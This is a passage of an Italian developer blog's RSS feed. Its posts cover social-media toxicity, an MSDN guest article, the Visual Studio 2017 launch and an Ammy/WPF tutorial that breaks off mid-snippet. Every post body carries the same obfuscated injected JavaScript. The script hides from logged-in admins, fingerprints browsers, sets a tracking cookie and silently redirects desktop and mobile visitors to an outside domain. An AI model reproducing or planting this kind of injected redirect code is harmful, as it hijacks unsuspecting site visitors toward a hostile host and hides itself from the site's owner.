<p><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/15/san-valentino-in-trasferta.aspx/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Il conato di vomito dei social network</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/14/il-vomito-dei-social-network.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=il-vomito-dei-social-network</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/14/il-vomito-dei-social-network.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 14 Feb 2017 08:18:00 +0000</pubDate>
				<category><![CDATA[Community]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2872</guid>

					<description><![CDATA[I social network stanno fallendo su tutti i fronti. Lasciate che vi faccia un riassunto di tante piccole storielle, che probabilmente tutti voi avete sentito, oppure no. Da una parte c’è il professor Roberto Burioni, che lotta tutti i giorni contro i movimenti anti-vaccinisti, con tutte le polemiche del caso. E’ di qualche giorno fa [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>I social network stanno fallendo su tutti i fronti. Lasciate che vi faccia un riassunto di tante piccole storielle, che probabilmente tutti voi avete sentito, oppure no.</p>
<p><strong>Da una parte c’è il professor Roberto Burioni</strong>, che lotta tutti i giorni contro i movimenti anti-vaccinisti, con tutte le polemiche del caso. <strong><span style="color: #ff0000">E’ di qualche giorno fa la notizia che un suo post su Facebook è stato bannato</span></strong>, probabilmente segnalato in massa da un gruppo di persone per i suoi contenuti. Facebook ovviamente non può mettersi a leggere tutti i post che vengono pubblicati ogni secondo, per cui va per numero: se un post viene segnalato da un po’ di persone, viene automaticamente rimosso. Pazzesco. Peccato che dopo un certo numero di post rimossi, probabilmente potrebbe venir bloccato l’intero account.</p>
<p><strong>Da un’altra parte c’è l’inevitabile esito di ogni discussione sui social.</strong> Indipendentemente dall’argomento (<em><span style="color: #804000">referendum del 4 dicembre</span></em>, <em><span style="color: #800000">l’ultimo film di Star Wars</span></em>, <em><span style="color: #800000">la marca degli hard-disk che compriamo</span></em>, <em><span style="color: #800000">una ricetta</span></em>, <em><span style="color: #800000">un qualsiasi evento sportivo</span></em>, etc.), inevitabilmente <strong><span style="color: #ff0000">la discussione degenera</span></strong>, va oltre i propri confini, diventa quella che io definisco – anche nella mia vita privata – una gara di scherma. Dove devi stare attento a come ti muovi, sennò il tuo interlocutore ti tocca facendo punto, e tu a tua volta devi usare sarcasmo/sagacia/cattiveria per segnare il tuo punto. Bleah. La litigata avviene sempre, per argomenti futili ed argomenti più complessi. Ognuno crede di sapere la verità, compreso me. In base all’argomento, ognuno ha nel proprio passato inevitabilmente condotto la propria battaglia contro i suoi mulini a vento. Un redattore di <a href="http://www.thegamesmachine.it/" target="_blank">The Games Machine</a> è stato insultato per aver scritto un articolo contro la pirateria dei videogiochi. Io mi sono preso del razzista, dell’immaturo, dell’idiota, tra l’altro da persone che mai e poi mai si permetterebbero di dire quelle cose dal vivo. Quelle stesse persone, dal vivo, sono squisite, molto più intelligenti e preparate di me, verso le quali nutro sincero rispetto. E’ lo strumento social che le trasforma, così come trasforma me.</p>
<p>Altro? <strong><span style="color: #333333">Ogni giorno, grazie ai social, ci sono vittime di cyberbullismo.</span></strong> E, per favore, non fate paragoni con il bullismo tradizionale che esisteva 25 o 30 anni fa. Una volta quando avevi a che fare con il bullo della tua scuola, era una faccenda tra te e lui. Il più delle volte, tra te ed un gruppo di bulli. Alla fine uno aveva la meglio, o la peggio, ma la cosa era comunque circoscritta. Oggi <strong><span style="color: #ff0000">tutto viene ripreso in diretta, filmato, buttato su Whatsapp, su Facebook.</span></strong> E la vittima è segnata a vita. Ci sono storie recenti di ragazzi e ragazze che si sono suicidate, per ragioni di questo tipo. Se sottovalutate il cyberbullismo odierno al grido di &#8220;il bullismo c&#8217;è sempre stato&#8221; manifestate una certa ignoranza, e comunque un certo distacco dal mondo non solo giovanile di oggi.</p>
<p>Di nuovo: <strong><span style="color: #333333">è notizia di qualche giorno fa che Twitter vuole dare la caccia e chiudere gli account fake.</span></strong> Tanti di questi account sono simpatici, divertenti, irriverenti. Ma non è semplicemente una cosa giusta che ci siano. Dietro all’anonimato si nascondono anche insidie e pericoli. Ci siamo costruiti (mi ci metto in mezzo) un mondo digitale basato sull’anonimato, che oggi però è più pericoloso che altro. No: se tu vuoi stare in Rete, devi farlo con il tuo nome &amp; cognome. E’ finita la pacchia. Vi rendete sì o no conto che l’elezione di Trump – solo per citare un fatto recente – potrebbe essere stata favorita dalla diffusione di notizie fake populiste? Se non è pericolo questo&#8230;non riesco a capire cosa possa esserlo.</p>
<p>E facciamo un altro esempio. <strong>Conoscete tutti Charlie Hebdo</strong>, il noto periodico settimanale satirico francese, venuto un po’ alla ribalta per gli attentati del Gennaio 2015; il loro account Twitter è <a href="https://twitter.com/charlie_hebdo_" target="_blank">@Charlie_Hebdo_</a>. Capita a volte che facciano vignette anche dedicate a qualche evento italiano (il recente terremoto, per esempio). Supponiamo che 1.000 italiani si mettano a segnalare a Twitter che quell’account vada chiuso perchè offende, è fuori luogo, è offensivo. Cosa fa Twitter? Probabilmente, ed automaticamente, chiuderebbe o sospenderebbe l’account, esattamente come ha fatto Facebook con il post del professor Burioni. Vi sembra corretto? Io una mia risposta ce l’ho, ma mi piacerebbe che anche voi ci pensaste un attimino.</p>
<p>Un altro gravissimo aspetto è che sempre più l’informazione giornalistica viene veicolata attraverso i social. Politica, attualità, scienza, medicina, tutto il resto. Un giorno, mentre ero in auto, su Radio 24 hanno detto che sempre più italiani utilizzano i social per informarsi. Ed è una cosa incredibile. Attenzione, faccio un mea-culpa: anche io ho utilizzato i social (Facebook) per fare informazione, nel mio piccolo. Questo per dire che non è colpa di qualcuno di preciso, è colpa di tutti, è colpa dell’andazzo delle cose, è colpa dell’invasività di questi strumenti. Da una parte c’è sì il grande vantaggio dell’enorme visibilità, ma dall’altra c’è la grande carenza di distinguere tra il vero ed il falso, c’è il problema delle discussioni, c’è tutto quello che ho descritto prima che non funziona. Ognuno di noi concepisce la partecipazione sui social in modo differente: c’è chi lo prende per un gioco, c’è chi lo prende per qualcosa di più serio. C’è chi lo utilizza come strumento di indignazione (della durata di 10 minuti), e c’è invece chi lo utilizza per le proprie campagne di sensibilizzazione.</p>
<p>Un problema insito nei social è che c&#8217;è una probabilità altissima di parlare con persone del tutto ignote, dall&#8217;altra parte d&#8217;Italia se non del mondo. Persone di cui non si conosce nulla: il contesto in cui vivono, che lavoro fanno, come ragionano, chi sono e chi non sono. E spesso ci si prende il diritto di giudicarle, di parlare con loro come se fossero vicini di casa, mentre in realtà non è affatto così. Per citare il mio amico Marco, socio di <a href="http://www.pvi.it" target="_blank">Piloti Virtuali Italiani</a> &#8220;<span style="color: #993300"><em>Il problema, Igor, è che fin dall&#8217;inizio dell&#8217;era social, da Intranet fino a Facebook, le persone non possono essere coscienti degli stati d&#8217;animo e del contesto in cui vivono le altre persone. Per cui è molto facile vedere in maniera negativa o offensiva una risposta, quando di tutto ciò, in realtà, non vi è traccia. Questo genera fraintendimenti incomprensibili da entrambe le parti. Quindi, il lato sociale prende punti da una parte per perderne dall&#8217;altra. Il futuro ci aiuterà&#8230; Oppure preferiremo regredire.</em></span>&#8220;. Quoto totalmente questa osservazione.</p>
<p>Spesso sento che per migliorare le cose è sufficiente educare le persone. E’ sicuramente la strada più giusta, ma è anche la più utopica. E’ giusto che nel mondo ci siano persone colte e meno colte, persone che hanno voglia di imparare ed altre no, persone che hanno gusti, ambizioni, modi di fare talmente differenti che sarebbe assurdo costringerle ad essere educate. Sarebbe come chiedere a tutti di essere esperti in ogni cosa. No, cari miei. E’ lo strumento che è sbagliato. Uno strumento che mette sullo stesso piano un premio Nobel ed una persona normale come me non può funzionare. Può essere divertente, finchè è usato per scopi leggeri, ma in generale non funziona. Con i social è come se avessimo a che fare con migliaia, se non milioni di leader, e non credo sia una regola prevista dall’evoluzione della specie. Dovremmo prima metterci tutti d&#8217;accordo, concordando ad esempio con il fatto che i social vanno usati in modo leggero, ma non può funzionare, ovviamente.</p>
<p>Detto tutto questo, insomma, è anche giunto il momento, almeno per me, di riappropriarmi dei miei spazi. Per questo motivo ho ricominciato a scrivere sul blog. Perchè mi rilassa, perchè scrivo ciò che mi piace, diffondo ciò che so, nel limite delle mie competenze. E nessuno può decidere di bannare un mio post, mentre un social potrebbe farlo (<strong><span style="color: #ff0000">ed in realtà nel mio caso l’ha fatto, visto che Facebook mi ha sospeso per qualche giorno senza una ragione valida</span></strong>). E il grande vantaggio di un blog è che è meritocratico. Scrivo cose giuste ed interessanti? Ho 1.000.000 di visitatori al giorno. Scrivo stupidaggini, scrivo male, scrivo cose fuori luogo? Avrò 17 visitatori al giorno. E’ giusto che sia così, porca miseria. Sono stufo marcio di un mondo digitale dove la massa ha sempre ragione. Sono un leader? Attirerò seguaci. Scrivo cose dementi, fuori luogo, razziste? E’ giusto che non venga seguito da nessuno. Direte voi: anche sui social succede così. Se questa è la risposta, ripartite a leggere questo post dall’inizio, perchè la risposta è lì. <span style="color: #0000ff"><strong>Tutti hanno diritto alla libertà di parola, quella non va negata a nessuno, ma la popolarità te la devi guadagnare, e dipende esclusivamente da ciò che dici.</strong></span> L’ubriacone al bar viene ascoltato da qualche avventore del bar stesso, ma viene bellamente ignorato. Sui social invece esiste un naturale effetto &#8220;cassa di risonanza&#8221; totalmente a sfavore della realtà, in balia della menzogna facile, urlata più o meno consapevolmente.</p>
<p><strong><span style="color: #0000ff">Sono giunto alla conclusione che non siamo fatti per dialogare gli uni con gli altri in una cerchia così grande. Dobbiamo modellare i social secondo le migliori convenzioni del mondo reale.</span></strong></p>
<p>Io, per esempio:</p>
<ul>
<li>non posso entrare in una sala operatoria e mettermi a dialogare di medicina con il chirurgo</li>
<li>non posso entrare in un CdA di una grande azienda ed arrogarmi il diritto di sapere come gestire l’azienda, al punto di consigliare o cazziare qua e là in base a quello che credo</li>
<li>non posso andare in diretta TV ad urlare le mie idee</li>
<li>non posso entrare in tantissimi palazzi pubblici (provincia, regione, altri governativi), semplicemente perchè non ho le credenziali per farlo</li>
</ul>
<p>Perchè dovrei avere questi diritti sui social? Un mondo che permetta di dialogare a 360°, con la massima e totale libertà, è pura anarchia di comunicazione. Ed è quello che accade sui social.</p>
<ul>
<li>potrei entrare in sala operatoria e dialogare con il chirurgo solo dopo la mia bella laurea di medicina, e dopo anni di apprendistato</li>
<li>potrei entrare in un CdA dopo aver ottenuto le giuste credenziali</li>
<li>potrei andare in diretta TV solo dopo aver dimostrato di aver qualcuno di giusto e corretto da dire</li>
<li>potrei entrare in Parlamento, per esempio, solo dopo essere stato eletto</li>
</ul>
<p><strong>Esempio sciocco: sono stato per 3 anni nel Direttivo di Piloti Virtuali Italiani.</strong> Sono stato ammesso perchè in un’assemblea tenutasi nel gennaio 2014, ho fatto un breve discorso in un hotel, davanti ai soci presenti (circa 80), spiegando quali sarebbero stati i miei scopi ed i miei obiettivi. Si è votato e sono entrato a far parte del Direttivo. Meritocrazia, insomma.</p>
<p>Paradossalmente, i social network che hanno più probabilità di rimanere puliti sono quelli non generalisti, dedicati ad uno scopo ben preciso. Ad esempio, <strong>LinkedIn</strong> penso che funzioni meglio, per due motivi: siamo meno, ma soprattutto chi frequenta quel social è un professionista, e quindi ci si ritrova fra pari grado. Forse l’idea che c’era dietro Google Plus non era malaccio, ma avendolo usato davvero poco, non posso esprimere un’idea precisa; ma l’idea di fondo di quel social erano le <em>cerchie</em>, che limitavano in qualche modo la visibilità di un post, facendo in modo che una certa discussione coinvolgesse le persone più giuste per quel tipo di argomento. Su <strong>Instagram</strong> si dialoga per lo più attraverso foto, al massimo qualche commento; e comunque anche qui qualche scandalo c’è stato. Ricordo, se non erro, Bonolis che andava in vacanza in qualche posto lussuoso, oppure Belen che bacia suo figlio in modo un po’ troppo…provocante? Ed anche in quel caso, via con insulti a go go.</p>
<p>Per favore, non paragonate una discussione reale con quella sui social. Quella sui social dura in modo indefinito, coinvolge decine o centinaia di persone, assume toni decisamente più accesi rispetto a quella dal vivo. Non c’è dubbio su questo. Ad una discussione social non viene mai staccata la spina, perchè chiunque può farla ripartire quando si accorge della sua esistenza, in diretta, il giorno dopo o dopo una settimana. E’ invasiva, non si molla mai. E la pressione sale.</p>
<p>La cosa drammatica, secondo me, è che il problema dei social non può essere risolto dai social stessi. Facebook non ha alcun interesse a rimediare ai suoi stessi problemi; a Facebook interessa fatturare, veicolare la pubblicità, raggiungere ogni giorno la quota del miliardo di utenti connessi contemporaneamente. Poco importa, a Facebook come a tutti gli altri, se i contenuti sono litigi, discussioni, minacce, notizie false. Anzi: più gente c’è, per loro, meglio è. Sarete d’accordo con me che così non può andare avanti. C’è bisogno di regole, di ripensare qualcosa.</p>
<p>Adesso, prima di lasciarvi ai vostri commenti, <a href="http://www.repubblica.it/tecnologia/social-network/2017/02/13/news/caro_zuckerberg_troppo_odio_sui_social-158175479/?ref=HRER2-1" target="_blank">vi linko l&#8217;appello che Laura Boldrini</a> (ovviamente insultata più e più volte sui social in modo estremamente sessista e volgare negli ultimi mesi/anni, sebbene sia una persona di cultura che ha lavorato per 25 anni all&#8217;ONU) ha rivolto a Facebook, guarda caso, per risolvere il problema.</p>
<p>Buon social a tutti.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/14/il-vomito-dei-social-network.aspx/feed</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>Guest post su MSDN Italia</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/13/guest-post-su-msdn-italia.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=guest-post-su-msdn-italia</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/13/guest-post-su-msdn-italia.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 13 Feb 2017 09:12:00 +0000</pubDate>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2870</guid>

					<description><![CDATA[Venerdì pomeriggio è comparso un mio articolo sul blog di MSDN Italia, dedicato al mondo delle Universal Windows App e al Microsoft Store Services SDK. L’articolo è liberamente raggiungibile a questo indirizzo: https://blogs.msdn.microsoft.com/italy/2017/02/10/guest-post-app-uwp-microsoft-store-services-sdk/ Buona lettura!!!! Send to Kindle]]></description>
										<content:encoded><![CDATA[<p>Venerdì pomeriggio è comparso un mio articolo sul blog di MSDN Italia, dedicato al mondo delle <strong>Universal Windows App</strong> e al <strong>Microsoft Store Services SDK</strong>.</p>
<p><strong><font color="#0000ff">L’articolo è liberamente raggiungibile a questo indirizzo:</font></strong>    <br /><a title="https://blogs.msdn.microsoft.com/italy/2017/02/10/guest-post-app-uwp-microsoft-store-services-sdk/" href="https://blogs.msdn.microsoft.com/italy/2017/02/10/guest-post-app-uwp-microsoft-store-services-sdk/">https://blogs.msdn.microsoft.com/italy/2017/02/10/guest-post-app-uwp-microsoft-store-services-sdk/</a></p>
<p>Buona lettura!!!!</p>
<p><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/13/guest-post-su-msdn-italia.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Visual Studio 2017 esce il prossimo 07/03</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/10/visual-studio-2017-esce-il-prossimo-0703.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=visual-studio-2017-esce-il-prossimo-0703</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/10/visual-studio-2017-esce-il-prossimo-0703.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 10 Feb 2017 08:30:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2868</guid>

					<description><![CDATA[Beh, secondo questo post ufficiale Visual Studio 2017 uscirà ufficialmente il prossimo 7 marzo. Sarà un martedì. Quel giorno mi raccomando: scaldate i PC, riavviate i vostri modem per scaricare il più velocemente possibile i file iso per effettuare il setup. Avrò occasione, qua sul mio blog ed in altre parte del web (ho delle [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Beh, secondo <a href="https://blogs.msdn.microsoft.com/visualstudio/2017/02/09/visual-studio-2017-launch-event-and-20th-anniversary/" target="_blank">questo post ufficiale</a> <strong>Visual Studio 2017</strong> uscirà ufficialmente il prossimo 7 marzo. Sarà un martedì. Quel giorno mi raccomando: scaldate i PC, riavviate i vostri modem per scaricare il più velocemente possibile i file iso per effettuare il setup.</p>
<p>Avrò occasione, qua sul mio blog ed in altre parte del web (ho delle sorprese in merito), di raccontarvi tutte le novità del nostro IDE. Vi parlerò di sviluppo di applicazioni desktop e di applicazioni UWP, di Azure, e di tanto altro ancora, come ormai è consuetudine.</p>
<p>Non mancate l’appuntamento!!!!</p>
<p><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/10/visual-studio-2017-esce-il-prossimo-0703.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>[Ammy.5] Modifiche a runtime del codice</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/09/ammy-5-modifiche-a-runtime-del-codice.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ammy-5-modifiche-a-runtime-del-codice</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/09/ammy-5-modifiche-a-runtime-del-codice.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Thu, 09 Feb 2017 09:11:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2866</guid>

					<description><![CDATA[Il linguaggio Ammy supporta una feature a mio avviso straordinaria, anche se ad oggi presenta dei piccoli bug, già segnalati. Mentre la vostra applicazione WPF è in running, potete tranquillamente continuare a lavorare sul codice della UI – scritta in Ammy – senza interromperne l’esecuzione. Per farlo, il runtime di Ammy utilizza i socket. Ecco [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Il linguaggio <strong>Ammy</strong> supporta una feature a mio avviso straordinaria, anche se ad oggi presenta dei piccoli bug, già segnalati.</p>
<p><strong>Mentre la vostra applicazione WPF è in running, potete tranquillamente continuare a lavorare sul codice della UI – scritta in Ammy – senza interromperne l’esecuzione.</strong></p>
<p>Per farlo, il runtime di Ammy utilizza i socket. <strong><font color="#008040">Ecco il motivo per cui la prima volta che fate F5 con Visual Studio il firewall di Windows intercetta la comunicazione di rete</font></strong>:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-9.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-9.png" width="516" height="375"></a></p>
<p>Ovviamente dovete cliccare su <strong>Consenti accesso</strong>. Fatto questo potete mantenere l’applicazione in esecuzione (magari su un monitor secondario), tornare in Visual Studio ed editare in tutta libertà il codice Ammy. Ogni volta che salverete il file, Visual Studio scatenerà un refresh della Window.</p>
<p><a href="https://www.ammyui.com/" target="_blank" rel="noopener noreferrer">Sulla homepage ufficiale di Ammy</a> c’è un bel video di poco meno di 30 minuti che vi mostra questa caratteristica del linguaggio. Cito testualmente dalla fonte: “<em><font color="#008040">Note that application was always running during the development, never needing to restart</font></em>”.</p>
<p>Voglio farvi notare un’ultima cosa, prima di salutarvi. Nell’editor di codice Ammy c’è un pallino che indica la validità del codice Ammy (lo ricordo, che riprende la sintassi dal JSON). Quindi:</p>
<ul>
<li>Pallino verde: tutto ok</li>
<li>Pallino rosso: qualcosa non va in Ammy</li>
</ul>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-10.png"><img title="image" style="border-left-width: 0px;border-right-width: 0px;border-bottom-width: 0px;padding-top: 0px;padding-left: 0px;padding-right: 0px;border-top-width: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-10.png" width="516" height="347"></a></p>
<p>Personalmente, ad oggi trovo piuttosto ostico scrivere Ammy. Dopo 10 anni di XAML, è dura cambiare linguaggio per la UI, ma i vantaggi ci sono, cerco di adeguarmi, per cui butto sempre un occhio a questo indicatore per avere una conferma visiva. Per ora non sto usando Ammy in alcun progetto reale per un cliente, ma non si sa mai.</p>
<p><strong>Ok! Mi hai detto che ci sono dei bug, quali sono?</strong><br />
I bug di Ammy sono tanti, essendo un linguaggio in fase di sviluppo. Per rimanere sul tema di questo post, accade la seguente cosa. Supponiamo di avere un po’ di code-behind, legato ad un evento di un qualsiasi controllo della UI. <a href="https://blog.vivendobyte.net/blog/archive/2017/02/07/ammy-4-fare-binding-con-ammy.aspx" target="_blank" rel="noopener noreferrer">Ricordate la PasswordBox di cui abbiamo parlato nell’ultimo post</a>? Supponiamo di sottoscriverne l’evento <strong>PasswordChanged</strong>.</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">PasswordBox {
    #Cell(1, 1),
